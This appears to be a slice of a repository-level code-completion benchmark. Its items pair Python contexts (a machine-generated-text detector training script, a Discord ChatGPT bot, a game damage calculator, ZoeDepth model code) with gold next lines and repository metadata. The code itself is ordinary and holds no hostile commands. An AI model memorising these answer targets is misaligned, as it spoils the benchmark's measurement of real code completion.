%s\n" % (key, str(result[key]))) wandb.log( { "eval/acc": result["acc"], "eval/f1": result["f1"], "eval/acc_and_f1": result["acc_and_f1"], } ) return results def load_and_cache_examples( args, task, tokenizer, evaluate=False, mode="train", dataset_name="", rel="" ): if args.local_rank not in [-1, 0] and not evaluate: torch.distributed.barrier() processor = processors[task]() output_mode = output_modes[task] # Load data features from cache or dataset file cached_features_file = os.path.join( args.data_dir, "cached_{}_{}_{}_{}_{}_{}".format( mode, list(filter(None, args.model_name_or_path.split("/"))).pop(), str(args.max_seq_length), str(task), str(dataset_name), str(rel), ), ) if os.path.exists(cached_features_file) and not args.overwrite_cache: logger.info("Loading features from cached file %s", cached_features_file) features = torch.load(cached_features_file) else: logger.info("Creating features from dataset file at %s", args.data_dir) label_list = processor.get_labels() if mode == "train": examples = processor.get_train_examples(args.with_relation, args.data_dir) elif mode == "dev": examples = processor.get_dev_examples(args.with_relation, args.data_dir) elif mode == "test": examples = processor.get_test_examples(args.with_relation, args.data_dir) features = convert_examples_to_features( examples, tokenizer, label_list=label_list, max_length=args.max_seq_length, output_mode=output_mode, # Pad on the left for xlnet pad_on_left=bool(args.model_type in ["xlnet"]), pad_token=tokenizer.convert_tokens_to_ids([tokenizer.pad_token])[0], pad_token_segment_id=4 if args.model_type in ["xlnet"] else 0, ) if args.local_rank in [-1, 0]: logger.info("Saving features into cached file %s", cached_features_file) torch.save(features, cached_features_file) if args.local_rank == 0 and not evaluate: # Make sure only the first process in distributed training process the dataset, and the others will use the cache torch.distributed.barrier() # Convert to Tensors and build dataset all_input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long) all_attention_mask = torch.tensor( [f.attention_mask for f in features], dtype=torch.long ) all_token_type_ids = torch.tensor( [f.token_type_ids for f in features], dtype=torch.long ) if output_mode == "classification": all_labels = torch.tensor([f.label for f in features], dtype=torch.long) elif output_mode == "regression": all_labels = torch.tensor([f.label for f in features], dtype=torch.float) all_nodes_index_mask = [] all_adj_metric = [] all_node_mask = [] all_sen2node = [] all_sen_mask = [] all_sen_length = [] all_nsp_score = [] all_nodes_ent_emb = [] no_ent_emb, all_ent = 0, 0 for f in features: nodes_mask, node_num = generate_shaped_nodes_mask( f.nodes_index, args.max_seq_length, args.max_nodes_num ) nmask = np.zeros(args.max_nodes_num) nmask[:node_num] = 1 all_node_mask.append(nmask) adj_metric = generate_shaped_edge_mask( f.adj_metric, node_num, args.max_nodes_num, args.with_relation ) all_nodes_index_mask.append(nodes_mask) all_adj_metric.append(adj_metric) sen2node_mask = np.zeros(shape=(args.max_sentences, args.max_nodes_num)) sen_mask = np.zeros(args.max_sentences - 1) sen_mask[: len(f.sen2node) - 1] = 1 all_sen_mask.append(sen_mask) all_sen_length.append( len(f.sen2node) if len(f.sen2node) <= args.max_sentences else args.max_sentences ) for idx in range(len(f.sen2node)): if idx >= args.max_sentences: break all_sennodes = f.sen2node[idx] for sennode in all_sennodes: if sennode < args.max_nodes_num: sen2node_mask[idx, sennode] = 1 all_sen2node.append(sen2node_mask) all_nodes_index_mask = torch.tensor(all_nodes_index_mask, dtype=torch.float) all_node_mask = torch.tensor(all_node_mask, dtype=torch.int) all_adj_metric = torch.tensor(all_adj_metric, dtype=torch.float) all_sen2node_mask = torch.tensor(all_sen2node, dtype=torch.float) all_sen_mask = torch.tensor(all_sen_mask, dtype=torch.float) all_sen_length = torch.tensor(all_sen_length, dtype=torch.long) batch_id = torch.tensor(list(range(0, len(all_labels)))) dataset = TensorDataset( all_input_ids, all_attention_mask, all_token_type_ids, all_labels, all_nodes_index_mask, all_adj_metric, all_node_mask, all_sen2node_mask, all_sen_mask, all_sen_length, batch_id, ) return dataset parser = argparse.ArgumentParser() parser.add_argument( "--data_dir", default=os.path.join(os.getcwd(), "data"), type=str, help="The input data dir.", ) parser.add_argument( "--model_type", default="roberta", type=str, help="Base model for CoCo", ) parser.add_argument( "--model_name_or_path", default="roberta-base", type=str, help="Base model for CoCo with size", ) parser.add_argument( "--task_name", default="deepfake", type=str, ) parser.add_argument( "--output_dir", default=os.path.join(os.getcwd(), "gpt2_500_test"), type=str, required=True, help="The output directory where the model predictions and checkpoints will be written.", ) parser.add_argument( "--config_name", default="", type=str, help="Pretrained config name or path if not the same as model_name", ) parser.add_argument( "--train_file", default="p\=0.96.jsonl", type=str, help="training file" ) parser.add_argument( "--dev_file", default="p\=0.96.jsonl", type=str, help="training file" ) parser.add_argument( "--test_file", default="p\=0.96.jsonl", type=str, help="training file" ) parser.add_argument( "--tokenizer_name", default="", type=str, help="Pretrained tokenizer name or path if not the same as model_name", ) parser.add_argument( "--cache_dir", default="", type=str, help="Where do you want to store the pre-trained models downloaded from s3", ) parser.add_argument( "--max_seq_length", default=512, type=int, help="The maximum total input sequence length after tokenization. Sequences longer than this will be truncated, sequences shorter will be padded.", ) parser.add_argument( "--do_train", default=True, help="Whether to run training.") parser.add_argument( "--do_eval", default=True, help="Whether to run eval on the dev set." ) parser.add_argument( "--do_test", default=True, help="Whether to run test on the dev set." ) parser.add_argument( "--evaluate_during_training", action="store_true", help="Run evaluation during training at each logging step.", ) parser.add_argument( "--do_lower_case", action="store_true", help="Set this flag if you are using an uncased model.", ) parser.add_argument( "--per_gpu_train_batch_size", default=16, type=int, help="Batch size per GPU/CPU for training.", ) parser.add_argument( "--per_gpu_eval_batch_size", default=16, type=int, help="Batch size per GPU/CPU for evaluation.", ) parser.add_argument( "--gradient_accumulation_steps", type=int, default=1, help="Number of updates steps to accumulate before performing a backward/update pass.", ) parser.add_argument( "--learning_rate", default=1e-5, type=float, help="The initial learning rate for Adam.", ) parser.add_argument( "--weight_decay", default=0.01, type=float, help="Weight decay if we apply some." ) parser.add_argument( "--adam_epsilon", default=1e-8, type=float, help="Epsilon for Adam optimizer." ) parser.add_argument( "--max_grad_norm", default=1.0, type=float, help="Max gradient norm." ) parser.add_argument( "--num_train_epochs", default=15, type=float, help="Total number of training epochs to perform.", ) parser.add_argument( "--max_steps", default=-1, type=int, help="If > 0: set total number of training steps to perform. Override num_train_epochs.", ) parser.add_argument( "--warmup_steps", default=0, type=int, help="Linear warmup over warmup_steps." ) parser.add_argument( "--logging_steps", type=int, default=125, help="Interval certain steps to log." ) parser.add_argument( "--save_steps", type=int, default=500, help="Interval certain steps to save checkpoint." ) parser.add_argument( "--eval_all_checkpoints", action="store_true", help="Evaluate all checkpoints starting with the same prefix as model_name ending and ending with step number", ) parser.add_argument( "--no_cuda", action="store_true", help="Avoid using CUDA when available" ) parser.add_argument( "--overwrite_output_dir", type=bool, default=True, help="Overwrite the content of the output directory", ) parser.add_argument( "--overwrite_cache", default=True, help="Overwrite the cached training and evaluation sets", ) parser.add_argument( "--seed", type=int, default=0, help="Random seed." ) parser.add_argument( "--fp16", action="store_true", help="Whether to use 16-bit (mixed) precision (through NVIDIA apex) instead of 32-bit", ) parser.add_argument( "--fp16_opt_level", type=str, default="O1", help="For fp16: Apex AMP optimization level selected in ['O0', 'O1', 'O2', and 'O3']." "See details at https://nvidia.github.io/apex/amp.html", ) parser.add_argument( "--local_rank", type=int, default=-1, help="For distributed training: local_rank" ) parser.add_argument( "--server_ip", type=str, default="", help="For distant debugging." ) parser.add_argument( "--server_port", type=str, default="", help="For distant debugging." ) parser.add_argument( "--max_nodes_num", type=int, default=150, help="Maximum of number of nodes when input." ) parser.add_argument( "--max_sentences", type=int, default=45, help="Maximum of number of sentences when input." ) parser.add_argument( "--max_sen_replen", type=int, default=128, help="Maximum of length of sentences representation (after relu).", ) parser.add_argument( "--attention_maxscore", type=int, default=16, help="Weight of the max similarity score inside self-attention.", ) parser.add_argument( "--loss_type", default="rfcl", type=str, help="Loss Type, include: normal, scl, mbcl, rfcl. rfcl is the complete version of CoCo, normal is the baseline.", ) parser.add_argument( "--gcn_layer", default=2, type=int, help="Number of layers of GAT, recommand 2.", ) parser.add_argument( "--dataset_name", default="gpt3.5_mixed_500", type=str, help="Name of the dataset, if blank will use Grover dataset", ) parser.add_argument( "--do_ray", default=False, type=bool, help="Searching hyperparameter by Ray Tune or not", ) parser.add_argument( "--with_relation", default=2, type=int, help="number of relation in Relation-GCN, >=2 for multi-relation, and =0 for the vanilla GCN.", ) parser.add_argument( "--wandb_note", default="CoCo_rf", type=str, help="To describe the name of Wandb record.", ) args = parser.parse_args() def get_train_idx_by_label(dataset): train_idx_by_label = {} for i in range(2): train_idx_by_label[i] = [ idx for idx in range(len(dataset)) if int(dataset[idx][3]) == i ] return train_idx_by_label def run(conf, data_dir=None): args.seed = conf["seed"] args.data_dir = data_dir if ( os.path.exists(args.output_dir) and os.listdir(args.output_dir) and args.do_train and not args.overwrite_output_dir ): raise ValueError( "Output directory ({}) already exists and is not empty. Use --overwrite_output_dir to overcome.".format( args.output_dir ) ) # Setup CUDA, GPU & distributed training if args.local_rank == -1 or args.no_cuda: device = torch.device( "cuda" if torch.cuda.is_available() and not args.no_cuda else "cpu" ) args.n_gpu = 0 if args.no_cuda else 1 else: # Initializes the distributed backend which will take care of sychronizing nodes/GPUs torch.cuda.set_device(args.local_rank) device = torch.device("cuda", args.local_rank) torch.distributed.init_process_group(backend="nccl") args.n_gpu = 1 args.device = device print(device) # Setup logging logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO if args.local_rank in [-1, 0] else logging.WARN, ) logger.warning( "Process rank: %s, device: %s, n_gpu: %s, distributed training: %s, 16-bits training: %s", args.local_rank, device, args.n_gpu, bool(args.local_rank != -1), args.fp16, ) set_seed(args) # Login wandb account (you can delete this section if you do not need) wandb_api_key = "your/wandb/key" os.system("wandb login {}".format(wandb_api_key)) init_args = {} if "MLFLOW_EXPERIMENT_ID" in os.environ: init_args["group"] = os.environ["MLFLOW_EXPERIMENT_ID"] wandb.init( project=os.getenv("WANDB_PROJECT", "Machine-Generated Text Detection"), name="CoCo_{}_s{}_{}".format(args.loss_type, args.seed, args.wandb_note), entity=os.getenv("WANDB_ENTITY", "your/account/name"), reinit=True, **init_args, ) wandb.config.update(args, allow_val_change=True) wandb.define_metric("train/loss") wandb.define_metric("eval/accuracy") wandb.define_metric("eval/f1") # Prepare GLUE task args.task_name = args.task_name.lower() if args.task_name not in processors: raise ValueError("Task not found: %s" % (args.task_name)) processor = processors[args.task_name]() args.output_mode = output_modes[args.task_name] label_list = processor.get_labels() num_labels = len(label_list) # Load pretrained model and tokenizer if args.local_rank not in [-1, 0]: # Make sure only the first process in distributed training will download model & vocab torch.distributed.barrier() args.model_type = args.model_type.lower() config = AutoConfig.from_pretrained( args.model_name_or_path, num_labels=num_labels, finetuning_task=args.task_name, cache_dir=args.cache_dir if args.cache_dir else None, task_specific_params={ "gcn_layer": args.gcn_layer, "max_nodes_num": args.max_nodes_num, "max_sentences": args.max_sentences, "max_sen_replen": args.max_sen_replen, "attention_maxscore": args.attention_maxscore, "relation_num": args.with_relation, }, ) tokenizer = AutoTokenizer.from_pretrained( args.model_name_or_path, do_lower_case=args.do_lower_case, cache_dir=args.cache_dir if args.cache_dir else None, ) train_dataset = load_and_cache_examples( args, args.task_name, tokenizer, evaluate=False, mode="train", dataset_name=args.dataset_name, rel=("relation" if args.with_relation > 0 else ""), ) args.train_batch_size = args.per_gpu_train_batch_size * max(1, args.n_gpu) if args.loss_type == "scl":
model = RobertaForGraphBasedSequenceClassification_CL.from_pretrained(
5
2023-10-24 14:03:11+00:00
12k
yaroslav318/chatGPT-discord-bot
src/bot.py
[ { "identifier": "logger", "path": "src/log.py", "snippet": "class CustomFormatter(logging.Formatter):\n LEVEL_COLORS = [\n (logging.DEBUG, '\\x1b[40;1m'),\n (logging.INFO, '\\x1b[34;1m'),\n (logging.WARNING, '\\x1b[33;1m'),\n (logging.ERROR, '\\x1b[31m'),\n (logging...
import os import openai import asyncio import discord from src.log import logger from random import randrange from src.aclient import client from discord import app_commands from src import log, art, personas, responses
7,923
await interaction.response.defer(ephemeral=False) await interaction.followup.send( "> **WARN: You already on replyAll mode. If you want to use the Slash Command, switch to normal mode by using `/replyall` again**") logger.warning("\x1b[31mYou already on replyAll mode, can't use slash command!\x1b[0m") return if interaction.user == client.user: return username = str(interaction.user) client.current_channel = interaction.channel logger.info( f"\x1b[31m{username}\x1b[0m : /chat [{message}] in ({client.current_channel})") await client.enqueue_message(interaction, message) @client.tree.command(name="private", description="Toggle private access") async def private(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if not client.isPrivate: client.isPrivate = not client.isPrivate logger.warning("\x1b[31mSwitch to private mode\x1b[0m") await interaction.followup.send( "> **INFO: Next, the response will be sent via private reply. If you want to switch back to public mode, use `/public`**") else: logger.info("You already on private mode!") await interaction.followup.send( "> **WARN: You already on private mode. If you want to switch to public mode, use `/public`**") @client.tree.command(name="public", description="Toggle public access") async def public(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if client.isPrivate: client.isPrivate = not client.isPrivate await interaction.followup.send( "> **INFO: Next, the response will be sent to the channel directly. If you want to switch back to private mode, use `/private`**") logger.warning("\x1b[31mSwitch to public mode\x1b[0m") else: await interaction.followup.send( "> **WARN: You already on public mode. If you want to switch to private mode, use `/private`**") logger.info("You already on public mode!") @client.tree.command(name="replyall", description="Toggle replyAll access") async def replyall(interaction: discord.Interaction): client.replying_all_discord_channel_id = str(interaction.channel_id) await interaction.response.defer(ephemeral=False) if client.is_replying_all == "True": client.is_replying_all = "False" await interaction.followup.send( "> **INFO: Next, the bot will response to the Slash Command. If you want to switch back to replyAll mode, use `/replyAll` again**") logger.warning("\x1b[31mSwitch to normal mode\x1b[0m") elif client.is_replying_all == "False": client.is_replying_all = "True" await interaction.followup.send( "> **INFO: Next, the bot will disable Slash Command and responding to all message in this channel only. If you want to switch back to normal mode, use `/replyAll` again**") logger.warning("\x1b[31mSwitch to replyAll mode\x1b[0m") @client.tree.command(name="chat-model", description="Switch different chat model") @app_commands.choices(choices=[ app_commands.Choice(name="Official GPT-3.5", value="OFFICIAL"), app_commands.Choice(name="Ofiicial GPT-4.0", value="OFFICIAL-GPT4"), app_commands.Choice(name="Website ChatGPT-3.5", value="UNOFFICIAL"), app_commands.Choice(name="Website ChatGPT-4.0", value="UNOFFICIAL-GPT4"), app_commands.Choice(name="Bard", value="Bard"), app_commands.Choice(name="Bing", value="Bing"), ]) async def chat_model(interaction: discord.Interaction, choices: app_commands.Choice[str]): await interaction.response.defer(ephemeral=False) original_chat_model = client.chat_model original_openAI_gpt_engine = client.openAI_gpt_engine try: if choices.value == "OFFICIAL": client.openAI_gpt_engine = "gpt-3.5-turbo" client.chat_model = "OFFICIAL" elif choices.value == "OFFICIAL-GPT4": client.openAI_gpt_engine = "gpt-4" client.chat_model = "OFFICIAL" elif choices.value == "UNOFFICIAL": client.openAI_gpt_engine = "gpt-3.5-turbo" client.chat_model = "UNOFFICIAL" elif choices.value == "UNOFFICIAL-GPT4": client.openAI_gpt_engine = "gpt-4" client.chat_model = "UNOFFICIAL" elif choices.value == "Bard": client.chat_model = "Bard" elif choices.value == "Bing": client.chat_model = "Bing" else: raise ValueError("Invalid choice") client.chatbot = client.get_chatbot_model() await interaction.followup.send(f"> **INFO: You are now in {client.chat_model} model.**\n") logger.warning(f"\x1b[31mSwitch to {client.chat_model} model\x1b[0m") except Exception as e: client.chat_model = original_chat_model client.openAI_gpt_engine = original_openAI_gpt_engine client.chatbot = client.get_chatbot_model() await interaction.followup.send(f"> **ERROR: Error while switching to the {choices.value} model, check that you've filled in the related fields in `.env`.**\n") logger.exception(f"Error while switching to the {choices.value} model: {e}") @client.tree.command(name="reset", description="Complete reset conversation history") async def reset(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if client.chat_model == "OFFICIAL": client.chatbot = client.get_chatbot_model() elif client.chat_model == "UNOFFICIAL": client.chatbot.reset_chat() await client.send_start_prompt() elif client.chat_model == "Bard": client.chatbot = client.get_chatbot_model() await client.send_start_prompt() elif client.chat_model == "Bing": await client.chatbot.reset() await interaction.followup.send("> **INFO: I have forgotten everything.**")
def run_discord_bot(): @client.event async def on_ready(): await client.send_start_prompt() await client.tree.sync() loop = asyncio.get_event_loop() loop.create_task(client.process_messages()) logger.info(f'{client.user} is now running!') @client.tree.command(name="chat", description="Have a chat with ChatGPT") async def chat(interaction: discord.Interaction, *, message: str): if client.is_replying_all == "True": await interaction.response.defer(ephemeral=False) await interaction.followup.send( "> **WARN: You already on replyAll mode. If you want to use the Slash Command, switch to normal mode by using `/replyall` again**") logger.warning("\x1b[31mYou already on replyAll mode, can't use slash command!\x1b[0m") return if interaction.user == client.user: return username = str(interaction.user) client.current_channel = interaction.channel logger.info( f"\x1b[31m{username}\x1b[0m : /chat [{message}] in ({client.current_channel})") await client.enqueue_message(interaction, message) @client.tree.command(name="private", description="Toggle private access") async def private(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if not client.isPrivate: client.isPrivate = not client.isPrivate logger.warning("\x1b[31mSwitch to private mode\x1b[0m") await interaction.followup.send( "> **INFO: Next, the response will be sent via private reply. If you want to switch back to public mode, use `/public`**") else: logger.info("You already on private mode!") await interaction.followup.send( "> **WARN: You already on private mode. If you want to switch to public mode, use `/public`**") @client.tree.command(name="public", description="Toggle public access") async def public(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if client.isPrivate: client.isPrivate = not client.isPrivate await interaction.followup.send( "> **INFO: Next, the response will be sent to the channel directly. If you want to switch back to private mode, use `/private`**") logger.warning("\x1b[31mSwitch to public mode\x1b[0m") else: await interaction.followup.send( "> **WARN: You already on public mode. If you want to switch to private mode, use `/private`**") logger.info("You already on public mode!") @client.tree.command(name="replyall", description="Toggle replyAll access") async def replyall(interaction: discord.Interaction): client.replying_all_discord_channel_id = str(interaction.channel_id) await interaction.response.defer(ephemeral=False) if client.is_replying_all == "True": client.is_replying_all = "False" await interaction.followup.send( "> **INFO: Next, the bot will response to the Slash Command. If you want to switch back to replyAll mode, use `/replyAll` again**") logger.warning("\x1b[31mSwitch to normal mode\x1b[0m") elif client.is_replying_all == "False": client.is_replying_all = "True" await interaction.followup.send( "> **INFO: Next, the bot will disable Slash Command and responding to all message in this channel only. If you want to switch back to normal mode, use `/replyAll` again**") logger.warning("\x1b[31mSwitch to replyAll mode\x1b[0m") @client.tree.command(name="chat-model", description="Switch different chat model") @app_commands.choices(choices=[ app_commands.Choice(name="Official GPT-3.5", value="OFFICIAL"), app_commands.Choice(name="Ofiicial GPT-4.0", value="OFFICIAL-GPT4"), app_commands.Choice(name="Website ChatGPT-3.5", value="UNOFFICIAL"), app_commands.Choice(name="Website ChatGPT-4.0", value="UNOFFICIAL-GPT4"), app_commands.Choice(name="Bard", value="Bard"), app_commands.Choice(name="Bing", value="Bing"), ]) async def chat_model(interaction: discord.Interaction, choices: app_commands.Choice[str]): await interaction.response.defer(ephemeral=False) original_chat_model = client.chat_model original_openAI_gpt_engine = client.openAI_gpt_engine try: if choices.value == "OFFICIAL": client.openAI_gpt_engine = "gpt-3.5-turbo" client.chat_model = "OFFICIAL" elif choices.value == "OFFICIAL-GPT4": client.openAI_gpt_engine = "gpt-4" client.chat_model = "OFFICIAL" elif choices.value == "UNOFFICIAL": client.openAI_gpt_engine = "gpt-3.5-turbo" client.chat_model = "UNOFFICIAL" elif choices.value == "UNOFFICIAL-GPT4": client.openAI_gpt_engine = "gpt-4" client.chat_model = "UNOFFICIAL" elif choices.value == "Bard": client.chat_model = "Bard" elif choices.value == "Bing": client.chat_model = "Bing" else: raise ValueError("Invalid choice") client.chatbot = client.get_chatbot_model() await interaction.followup.send(f"> **INFO: You are now in {client.chat_model} model.**\n") logger.warning(f"\x1b[31mSwitch to {client.chat_model} model\x1b[0m") except Exception as e: client.chat_model = original_chat_model client.openAI_gpt_engine = original_openAI_gpt_engine client.chatbot = client.get_chatbot_model() await interaction.followup.send(f"> **ERROR: Error while switching to the {choices.value} model, check that you've filled in the related fields in `.env`.**\n") logger.exception(f"Error while switching to the {choices.value} model: {e}") @client.tree.command(name="reset", description="Complete reset conversation history") async def reset(interaction: discord.Interaction): await interaction.response.defer(ephemeral=False) if client.chat_model == "OFFICIAL": client.chatbot = client.get_chatbot_model() elif client.chat_model == "UNOFFICIAL": client.chatbot.reset_chat() await client.send_start_prompt() elif client.chat_model == "Bard": client.chatbot = client.get_chatbot_model() await client.send_start_prompt() elif client.chat_model == "Bing": await client.chatbot.reset() await interaction.followup.send("> **INFO: I have forgotten everything.**")
personas.current_persona = "standard"
4
2023-10-26 18:52:21+00:00
12k
qwerdvd/StarRailDamageCal
starrail_damage_cal/damage/Avatar.py
[ { "identifier": "AvatarDamage", "path": "starrail_damage_cal/damage/AvatarDamage/AvatarDamage.py", "snippet": "class AvatarDamage:\n @classmethod\n def create(cls, char: DamageInstanceAvatar, skills: List[DamageInstanceSkill]):\n if char.id_ == 1214:\n return XueYi(char, skills)\...
import json from pathlib import Path from typing import Dict from starrail_damage_cal.damage.AvatarDamage.AvatarDamage import AvatarDamage from starrail_damage_cal.damage.Base.AvatarBase import BaseAvatarinfo from starrail_damage_cal.damage.Base.model import DamageInstance from starrail_damage_cal.damage.Relic.Relic import RelicSet, SingleRelic from starrail_damage_cal.damage.Weapon.Weapon import Weapon from starrail_damage_cal.mono.Character import Character
7,470
Excel_path = Path(__file__).parent with Path.open(Excel_path / "Excel" / "SkillData.json", encoding="utf-8") as f: skill_dict = json.load(f) class AvatarInstance: def __init__(self, raw_data: Character): self.raw_data = DamageInstance(raw_data) self.avatardamage = AvatarDamage.create( self.raw_data.avatar, self.raw_data.skill, ) self.avatar = BaseAvatarinfo(self.raw_data.avatar)
Excel_path = Path(__file__).parent with Path.open(Excel_path / "Excel" / "SkillData.json", encoding="utf-8") as f: skill_dict = json.load(f) class AvatarInstance: def __init__(self, raw_data: Character): self.raw_data = DamageInstance(raw_data) self.avatardamage = AvatarDamage.create( self.raw_data.avatar, self.raw_data.skill, ) self.avatar = BaseAvatarinfo(self.raw_data.avatar)
self.weapon = Weapon.create(self.raw_data.weapon)
4
2023-10-30 06:29:10+00:00
12k
deforum-studio/deforum
src/deforum/models/depth_models/zoedepth/models/zoedepth/zoedepth_v1.py
[ { "identifier": "DepthModel", "path": "src/deforum/models/depth_models/zoedepth/models/depth_model.py", "snippet": "class DepthModel(nn.Module):\n def __init__(self):\n super().__init__()\n self.device = 'cuda'\n \n def to(self, device) -> nn.Module:\n self.device = device\...
import itertools import torch import torch.nn as nn from ..depth_model import DepthModel from ..base_models.midas import MidasCore from ..layers.attractor import AttractorLayer, AttractorLayerUnnormed from ..layers.dist_layers import ConditionalLogBinomial from ..layers.localbins_layers import (Projector, SeedBinRegressor, SeedBinRegressorUnnormed) from ..model_io import load_state_from_resource
8,472
# MIT License # Copyright (c) 2022 Intelligent Systems Lab Org # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # File author: Shariq Farooq Bhat class ZoeDepth(DepthModel): def __init__(self, core, n_bins=64, bin_centers_type="softplus", bin_embedding_dim=128, min_depth=1e-3, max_depth=10, n_attractors=[16, 8, 4, 1], attractor_alpha=300, attractor_gamma=2, attractor_kind='sum', attractor_type='exp', min_temp=5, max_temp=50, train_midas=True, midas_lr_factor=10, encoder_lr_factor=10, pos_enc_lr_factor=10, inverse_midas=False, **kwargs): """ZoeDepth model. This is the version of ZoeDepth that has a single metric head Args: core (models.base_models.midas.MidasCore): The base midas model that is used for extraction of "relative" features n_bins (int, optional): Number of bin centers. Defaults to 64. bin_centers_type (str, optional): "normed" or "softplus". Activation type used for bin centers. For "normed" bin centers, linear normalization trick is applied. This results in bounded bin centers. For "softplus", softplus activation is used and thus are unbounded. Defaults to "softplus". bin_embedding_dim (int, optional): bin embedding dimension. Defaults to 128. min_depth (float, optional): Lower bound for normed bin centers. Defaults to 1e-3. max_depth (float, optional): Upper bound for normed bin centers. Defaults to 10. n_attractors (List[int], optional): Number of bin attractors at decoder layers. Defaults to [16, 8, 4, 1]. attractor_alpha (int, optional): Proportional attractor strength. Refer to models.layers.attractor for more details. Defaults to 300. attractor_gamma (int, optional): Exponential attractor strength. Refer to models.layers.attractor for more details. Defaults to 2. attractor_kind (str, optional): Attraction aggregation "sum" or "mean". Defaults to 'sum'. attractor_type (str, optional): Type of attractor to use; "inv" (Inverse attractor) or "exp" (Exponential attractor). Defaults to 'exp'. min_temp (int, optional): Lower bound for temperature of output probability distribution. Defaults to 5. max_temp (int, optional): Upper bound for temperature of output probability distribution. Defaults to 50. train_midas (bool, optional): Whether to train "core", the base midas model. Defaults to True. midas_lr_factor (int, optional): Learning rate reduction factor for base midas model except its encoder and positional encodings. Defaults to 10. encoder_lr_factor (int, optional): Learning rate reduction factor for the encoder in midas model. Defaults to 10. pos_enc_lr_factor (int, optional): Learning rate reduction factor for positional encodings in the base midas model. Defaults to 10. """ super().__init__() self.core = core self.max_depth = max_depth self.min_depth = min_depth self.min_temp = min_temp self.bin_centers_type = bin_centers_type self.midas_lr_factor = midas_lr_factor self.encoder_lr_factor = encoder_lr_factor self.pos_enc_lr_factor = pos_enc_lr_factor self.train_midas = train_midas self.inverse_midas = inverse_midas if self.encoder_lr_factor <= 0: self.core.freeze_encoder( freeze_rel_pos=self.pos_enc_lr_factor <= 0) N_MIDAS_OUT = 32 btlnck_features = self.core.output_channels[0] num_out_features = self.core.output_channels[1:] self.conv2 = nn.Conv2d(btlnck_features, btlnck_features, kernel_size=1, stride=1, padding=0) # btlnck conv if bin_centers_type == "normed": SeedBinRegressorLayer = SeedBinRegressor Attractor = AttractorLayer elif bin_centers_type == "softplus": SeedBinRegressorLayer = SeedBinRegressorUnnormed Attractor = AttractorLayerUnnormed elif bin_centers_type == "hybrid1": SeedBinRegressorLayer = SeedBinRegressor Attractor = AttractorLayerUnnormed elif bin_centers_type == "hybrid2": SeedBinRegressorLayer = SeedBinRegressorUnnormed Attractor = AttractorLayer else: raise ValueError( "bin_centers_type should be one of 'normed', 'softplus', 'hybrid1', 'hybrid2'") self.seed_bin_regressor = SeedBinRegressorLayer( btlnck_features, n_bins=n_bins, min_depth=min_depth, max_depth=max_depth)
# MIT License # Copyright (c) 2022 Intelligent Systems Lab Org # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # File author: Shariq Farooq Bhat class ZoeDepth(DepthModel): def __init__(self, core, n_bins=64, bin_centers_type="softplus", bin_embedding_dim=128, min_depth=1e-3, max_depth=10, n_attractors=[16, 8, 4, 1], attractor_alpha=300, attractor_gamma=2, attractor_kind='sum', attractor_type='exp', min_temp=5, max_temp=50, train_midas=True, midas_lr_factor=10, encoder_lr_factor=10, pos_enc_lr_factor=10, inverse_midas=False, **kwargs): """ZoeDepth model. This is the version of ZoeDepth that has a single metric head Args: core (models.base_models.midas.MidasCore): The base midas model that is used for extraction of "relative" features n_bins (int, optional): Number of bin centers. Defaults to 64. bin_centers_type (str, optional): "normed" or "softplus". Activation type used for bin centers. For "normed" bin centers, linear normalization trick is applied. This results in bounded bin centers. For "softplus", softplus activation is used and thus are unbounded. Defaults to "softplus". bin_embedding_dim (int, optional): bin embedding dimension. Defaults to 128. min_depth (float, optional): Lower bound for normed bin centers. Defaults to 1e-3. max_depth (float, optional): Upper bound for normed bin centers. Defaults to 10. n_attractors (List[int], optional): Number of bin attractors at decoder layers. Defaults to [16, 8, 4, 1]. attractor_alpha (int, optional): Proportional attractor strength. Refer to models.layers.attractor for more details. Defaults to 300. attractor_gamma (int, optional): Exponential attractor strength. Refer to models.layers.attractor for more details. Defaults to 2. attractor_kind (str, optional): Attraction aggregation "sum" or "mean". Defaults to 'sum'. attractor_type (str, optional): Type of attractor to use; "inv" (Inverse attractor) or "exp" (Exponential attractor). Defaults to 'exp'. min_temp (int, optional): Lower bound for temperature of output probability distribution. Defaults to 5. max_temp (int, optional): Upper bound for temperature of output probability distribution. Defaults to 50. train_midas (bool, optional): Whether to train "core", the base midas model. Defaults to True. midas_lr_factor (int, optional): Learning rate reduction factor for base midas 